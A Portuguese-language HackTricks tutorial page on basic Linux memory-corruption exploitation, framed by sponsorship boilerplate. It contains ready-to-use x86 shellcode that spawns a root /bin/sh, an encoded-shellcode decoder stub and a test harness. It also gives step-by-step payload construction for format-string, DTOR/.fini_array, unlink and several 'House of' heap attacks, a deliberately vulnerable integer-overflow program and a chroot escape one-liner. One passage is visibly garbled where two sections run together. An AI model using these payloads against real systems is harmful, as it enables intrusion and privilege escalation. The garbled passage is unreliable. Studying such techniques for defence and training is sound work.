# Exploração no Linux (Básico)
Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **2.SHELLCODE** Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 xor eax, eax ; limpamos eax\ xor ebx, ebx ; ebx = 0 pois não há argumento para passar\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Executar syscall **nasm -f elf assembly.asm** —> Retorna um .o\ **ld assembly.o -o shellcodeout** —> Gera um executável com o código em assembly e podemos extrair os opcodes com **objdump**\ **objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes **Verificar se o shellcode funciona** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ void (*fp) (void); fp = (void *)shellcode; fp(); } ``` Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO** Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código. EX **TRUCO (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) xorl %eax, %eax ; eax = NULL movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh movl $0xb, %eax ; Syscall 11 movl %esi, %ebx ; arg1=“/bin/sh” leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` **EJ usando o Stack(/bin/sh):** ``` section .text global _start _start: xor eax, eax ;Limpieza mov al, 0x46 ; Syscall 70 xor ebx, ebx ; arg1 = 0 xor ecx, ecx ; arg2 = 0 int 0x80 ; setreuid(0,0) xor eax, eax ; eax = 0 push eax ; “\0” push dword 0x68732f2f ; “//sh” push dword 0x6e69622f; “/bin” mov ebx, esp ; arg1 = “/bin//sh\0” push eax ; Null -> args[1] push ebx ; “/bin/sh\0” -> args[0] mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` **EJ FNSTENV:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` **Buscador de Ovos:** Trata-se de um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura colocada na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código. **Shellcodes Polimórficos** São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**: ``` global _start _start: jmp short magic init: pop esi xor ecx, ecx mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) sub cl, 1 jnz desc jmp short sc magic: call init sc: ;Aquí va el shellcode ``` ## **5. Métodos complementares** **Ret2Ret** Útil quando não é possível inserir um endereço de pilha no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui). Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado. O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do argumento passado é colocado na pilha) Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena o shellcode) é modificado por um 0x00, então, ao chamar o segundo **ret**, ele encontra um 0x00 e o programa trava. **Técnica de Murat** No Linux, todos os programas são mapeados começando em 0xbfffffff. Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja o shellcode. O endereço desta variável pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode) Dessa forma, seria facilmente obtido o endereço onde está a variável de ambiente com o shellcode. Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas. **Estouros de inteiros** Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo: ```c #include #include #include int main(int argc, char *argv[]){ int len; unsigned int l; char buffer[256]; int i; len = l = strtoul(argv[1], NULL, 10); printf("\nL = %u\n", l); printf("\nLEN = %d\n", len); if (len >= 256){ printf("\nLongitus excesiva\n"); exit(1); } if(strlen(argv[2]) < l) strcpy(buffer, argv[2]); else printf("\nIntento de hack\n"); return 0; } ``` No exemplo acima, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string. Se passarmos um número negativo como o primeiro parâmetro, ele mostrará que len < 256 e passará por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande. Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades. **Variáveis não inicializadas** Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante. ## ### ### ### ### **.fini\_array** Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: 8049934 a0850408 #Put your address in 0x8049934 ``` Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade. ### **Formatar Strings para Extrair Conteúdo** Uma string de formato também pode ser abusada para **extrair conteúdo** da memória do programa.\ Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**: Então, a flag está em **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro: ![](<../../.gitbook/assets/image (623).png>) Portanto, **acessando** o **8º parâmetro** você pode obter a flag: ![](<../../.gitbook/assets/image (624).png>) Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**! ### **DTOR** {% hint style="danger" %} Atualmente é muito **incomum encontrar um binário com uma seção dtor**. {% endhint %} Os destrutores são funções que são **executadas antes do programa terminar**.\ Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\ Obtenha o endereço desta seção com: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` Geralmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo. ### **Strings de Formato para Estouros de Buffer** O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\ Por exemplo, a carga `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer. ### **Estruturas \_\_atexit** {% hint style="danger" %} Atualmente é muito **incomum explorar isso**. {% endhint %} **`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** sobre o **processo**, mas atualmente isso é mais complicado.\ Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\ A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. ### **setjmp() & longjmp()** {% hint style="danger" %} Atualmente é muito **incomum explorar isso**. {% endhint %} **`Setjmp()`** permite **salvar** o **contexto** (os registradores)\ **`longjmp()`** permite **restaurar** o **contexto**.\ Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\ O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\ Eles são úteis para recuperação de erros ou interrupções.\ No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP. **VTable e VPTR em C++** Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**. Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ela poderia ser **modificada** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode. ## **Medidas Preventivas e Evasões** ### **Substituição do Libsafe** Ativado por: LD\_PRELOAD=/lib/libsafe.so.2\ ou\ “/lib/libsave.so.2” > /etc/ld.so.preload Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid). **Espaço de Endereço ASCII Armored** Consiste em carregar bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian. **ret2plt** Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a direção armazenada na GOT que será system() é chamada. **Jaulas com chroot()** debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd .. **Instrumentação de Código** Valgrind —> Procura por erros\ Memcheck\ RAD (Return Address Defender)\ Insure++ ## **8 Estouros de Heap: Exploits Básicos** **Chunk Alocado** prev\_size |\ size | —Cabeçalho\ \*mem | Dados **Chunk Livre** prev\_size |\ size |\ \*fd | Ptr chunk seguinte\ \*bk | Ptr chunk anterior —Cabeçalho\ \*mem | Dados Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos) No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária. Ao liberar um chunk, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado. unlink(){\ BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha\ FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha\ FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\ BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\ } Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode E assim, o shellcode é executado ao sair do programa. Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso: BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a alguns nops que levam ao restante do shellcode. Portanto, o exploit é criado: No buffer1, inserimos o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode. Após o shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então ele chamará **unlink()**. Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, a segunda direção encontrada no 2º chunk será inserida, que será o endereço do shellcode (falso P->bk). **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **prev\_size = pack("\ Retorna um ponteiro para o endereço onde o chunk começa (mem-8) … ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] … \_int_free(ar_ptr, mem); } Em \[1], verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (em nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info) Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, **0x0804a000**. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr) Dessa forma, chama-se \_int_free(ar_ptr, mem), ou seja, **\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ bck->fd = p;\ fwd->bk = p; ..} Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado. Como unsorted_chunks é definido, sabemos que:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; Portanto, se escrevermos o valor de \_\_DTOR_END\_\_-12 em av->bins\[2], na última instrução, será escrito em \_\_DTOR_END\_\_ o endereço do segundo chunk. Ou seja, no primeiro chunk, no início, devemos colocar muitas vezes o endereço de \_\_DTOR_END\_\_-12, pois é de lá que av->bins\[2] o pegará. No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins\[2] de lá. No segundo chunk e graças ao primeiro, sobrescrevemos o prev_size com um salto 0x0c e o size com algo para ativar -> NON_MAIN_ARENA Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode Dessa forma, \_int_free(TROÇO1, TROÇO2) será chamado e seguirá as instruções para escrever em \_\_DTOR_END\_\_ o endereço do prev_size do TROÇO2, que saltará para o shellcode. Para aplicar esta técnica, é necessário que alguns requisitos sejam atendidos, o que complica um pouco mais o payload. Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde aponta também está apontando para ele. **Fastbin** É uma variante de The house of mind Interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free() fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2 … p->fd = \*fb \*fb = p Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que será sobrescrita. Dado que com The House of Mind vimos que controlávamos a posição do av. Então, se no campo size for inserido um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1\], que apontará para av->max\_fast Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita). Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops). Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante. Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhuma direção dessas seções serve para ser sobrescrita, então vejamos como aplicar fastbin para atacar a pilha. Outra forma de ataque é redirecionar o **av** para a pilha. Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha. Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET Os 4 bytes nulos são necessários para que o **av** esteja nessa direção e o primeiro elemento de um **av** é o mutex que deve ser 0. O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições. No **av->fastbins\[0\]** será sobrescrito com a direção de **p** e será o RET, assim a shellcode será executada. Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita. Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso). **The House of Spirit** Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável). Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48. Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem. Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado. Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço que aponta para o EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço. **The House of Force** É necessário: * Um overflow para um chunk que permita sobrescrever o wilderness * Uma chamada para malloc() com o tamanho definido pelo usuário * Uma chamada para malloc() cujos dados possam ser definidos pelo usuário O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap. O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8. Devemos sobrescrever av->top para apontar para a área de memória sob o controle do atacante: victim = av->top; remainder = chunck\_at\_offset(victim, nb); av->top = remainder; Victim obtém o valor da direção do chunk wilderness atual (o av->top atual) e remainder é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será: 0xbffff224 - 0x080c2788 = 3086207644. Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito. É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha. **The House of Lore** **Corrupção SmallBin** Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser usado, ele será retornado, mas se um chunk maior for alocado, o chunk liberado em unsorted bins será colocado em seu bin apropriado. Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512). Se houver um chunk no bin do tamanho adequado ao solicitado, ele será retornado após ser desvinculado: bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar. bin->bk = bck; O penúltimo chunk se torna o último, e se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço. bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin São necessários: Reserve dois mallocs, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow). O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante. O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tem um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito. Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos bins não ordenados e seja inserido em seu bin. Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para apontar para o endereço que desejamos sobrescrever. Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido. Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido. Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro. **Corrupção LargeBin** São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512. O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE. Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado). Além disso, foi introduzido um patch para tornar o ataque ainda mais complicado. **Heap Spraying** Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. A ideia é tentar pular para o endereço 0x0c0c0c0c e, assim, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e pular para 0x0c0c0c0c, esperando que haja nops lá. **Heap Feng Shui** Consiste em, por meio de reservas e liberações, organizar a memória de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços. ## Cursos Interessantes * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) ## **Referências** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
Aprenda hacking AWS do zero ao hero com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).